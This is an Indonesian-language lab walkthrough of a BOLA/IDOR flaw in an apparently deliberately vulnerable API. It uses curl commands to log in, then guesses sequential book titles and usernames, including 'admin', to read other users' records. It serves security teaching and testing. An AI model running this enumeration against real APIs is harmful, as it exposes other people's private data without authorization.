Penyerang dapat mengeksploitasi endpoint API yang rentan terhadap Broken Object Level Authorization (BOLA) / IDOR (Insecure Direct Object Reference) dengan memanipulasi ID objek yang dikirimkan dalam request. ID Objek dapat berupa apa saja, mulai dari bilangan bulat berurutan, UUID, atau string. Akses tidak sah terhadap objek pengguna lain dapat mengakibatkan pengungkapan data kepada pihak yang tidak berwenang, kehilangan data, atau manipulasi data. Celah keamanan ini ditemukan pada endpoint /books/v1/{book_title}
dan /users/v1/{username}
- Login terlebih dahulu untuk mengakses endpoint
/books/v1/{book_title}
dengan akun yang sudah dibuat di proses instalasi kemudian copy nilaiauth_token
curl http://IP_Server:5000/users/v1/login -d '{"username":"userapi","password":"12345"}' -H 'Content-Type: application/json' --proxy http://127.0.0.1:8080
- Akses endpoint
/books/v1/{book_title}
dan isi parameter{book_title}
dengan formatbookTitle<nomor>
. Nomor bisa diganti dengan angka bulat (integer) berapapun hingga menemukan data, misalnya angka 1-100
curl http://IP_Server:5000/books/v1/bookTitle91 -H 'Authorization: Bearer token' --proxy http://127.0.0.1:8080
- Akses endpoint dengan nilai paramter lainnya. Jika
auth_token
sudah expired silahkan lakukan login ulang copy nilaiauth_token
yang baru
curl http://IP_Server:5000/books/v1/bookTitle92 -H 'Authorization: Bearer token' --proxy http://127.0.0.1:8080
- Kita menemukan data buku milik admin dengan
bookTitle15
curl http://IP_Server:5000/books/v1/bookTitle15 -H 'Authorization: Bearer token' --proxy http://127.0.0.1:8080
- Pada endpoint
/books/v1/{book_title}
kita mengakses data milik pengguna lain dengan menebak urutan parameter book_title sepertibookTitle91
,bookTitle92
danbookTitle15
. Angka 15, 91, dan 92 adalah contoh angka bulat yang berurutan antara 1-100. Seharusnya data tersebut tidak dapat dibaca oleh user yang bersangkutan. Inilah yang disebut dengan celah keamanan Broken Object Level Authorization (BOLA). Jika kita mengakses endpoint/books/v1/{book_title}
tanpa parameter, kita dapat memperoleh seluruh data buku
curl http://IP_Server:5000/users/v1 --proxy http://127.0.0.1:8080
- Sekarang kita coba akses endpoint
/users/v1/{username}
dan isi parameter{username}
dengan formatname<nomor>
. Nomor bisa diganti dengan angka bulat (integer) berapapun hingga menemukan data, misalnya angka 1-100
curl http://IP_Server:5000/users/v1/name1 --proxy http://127.0.0.1:8080
curl http://IP_Server:5000/users/v1/name2 --proxy http://127.0.0.1:8080
curl http://IP_Server:5000/users/v1/admin --proxy http://127.0.0.1:8080
- Pada endpoint
/users/v1/{username}
kita juga bisa mengakses data user dengan menebak urutan username sepertiname1
danname2
. Selain itu kita juga bisa menemukan data dengan usernameadmin
. Angka 1 dan 2 adalah contoh angka bulat yang berurutan antara 1-100. Sedangkan usernameadmin
adalah contoh username yang biasa digunakan untuk administrator. Seharusnya data tiap user hanya bisa diakses oleh user yang berwenang. Jika kita mengakses endpoint/users/v1/{username}
tanpa parameter, kita dapat melihat seluruh data user
curl http://IP_Server:5000/users/v1 --proxy http://127.0.0.1:8080